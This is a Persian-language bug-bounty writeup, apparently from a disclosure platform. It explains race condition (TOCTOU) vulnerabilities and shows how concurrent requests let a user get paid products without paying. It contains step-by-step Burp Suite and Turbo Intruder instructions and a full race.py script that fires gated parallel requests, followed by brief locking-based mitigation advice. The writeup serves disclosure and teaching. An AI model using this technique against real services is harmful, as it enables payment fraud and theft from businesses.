رایتاپ
Race Condition vulnerability writeup

این رایتاپ بر اساس سناریوهای دریافت شده از متخصصین امنیتی باگدشت با هدف اشتراک گذاری دانش امنیتی و تسریع در ایمن سازی ارایه شده است.

Race Condition اتفاق غیره منتظره ایست که به معنای اجرای همزمان دو یا چند فعالیت توسط سیستم است، در حالی که ماهیت سیستم ایجاب می‌کند که فعالیتها با توالی خاصی پشت سر هم انجام شوند تا منطق سیستم به درستی کار کند.

Race Condition زمانی به یک آسیب‌پذیری تبدیل می‌شود که بر روی مکانیزم کنترل امنیت برنامه تاثیر بگذارد. هکرها می‌توانند برنامه را در شرایطی قرار بدهند که یک فعالیت حساس قبل از اجرای کامل فعالیت دیگر در سیستم‌های کنترل امنیتی اجرا شود. از اینرو از آسیب‌پذیری Race Condition به عنوان آسیب‌پذیری زمان بررسی (Time of Check) یا زمان استفاده (Time of Use) هم نام می‌برند.

مراحل بررسی

  • برنامه تحت وب آسیب‌پذیر اجرای فعالیتی را بصورت رندوم برای کاربر در نظر می‌گیرد.
  • در این قسمت می‌توان با ارسال چند درخواست به صورت همزمان تابع را مجبور به اجرای چندباره نمود.
  • در حالت عادی کاربر باید بتواند یک بار بدون پرداخت تابع را اجرا نماید ولی به دلیل وجود اسیب پذیری می‌توان فرایند اکسپلویت آسیب‌پذیری را اجرا کرد.
  • در این قسمت با ارسال 100 درخواست به صورت همزمان به سامانه، امکان اجرای فعالیت به تعداد نامتناهی و بدون پرداخت وجه وجود دارد. با استفاده از این باگ سطح بالا امکان اجرای رایگان به تعداد نامحدود وجود دارد.
  • با استفاده از ابزار Burp Suite ریکوئست ارسالی دریافت میشود.
  • پس از اضافه کردن نشانگر %s در انتهای هدر Connection روی ریکوئست راست کلیک کرده و به افزونه‌ی Turbo intruder ارسال شود.
 Connection: close %s
  • در Turbo intruder اسکریپت race.py را انتخاب و مقدار concurrentConnections به مقدار مناسب تغییرداده شود و سپس حمله اجرا شود.
  • سپس در داشبورد کاربر دسترسی به چندین محصول بدون پرداخت وجه انجام شده است.
 def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100, pipeline=False ) # the 'gate' argument blocks the final byte of each request until openGate is invoked for i in range(30): engine.queue(target.req, target.baseInput, gate='race1') # wait until every 'race1' tagged request is ready # then send the final byte of each request # (this method is non-blocking, just like queue) engine.openGate('race1') engine.complete(timeout=60) def handleResponse(req, interesting): table.add(req)

راهکار ایمن سازی

کلید اصلی در جلوگیری از Race Condition استفاده و بهره برداری ایمن از Concurrency است. و بهترین راه، قفل کردن منبعی است که در حال استفاده از آن هستیم. بیشتر زبان های برنامه نویسی که از قابلیت Concurrency پشتیبانی می کنند به صورت داخلی نیز نوعی قابلیت قفل کردن منابع را دارند.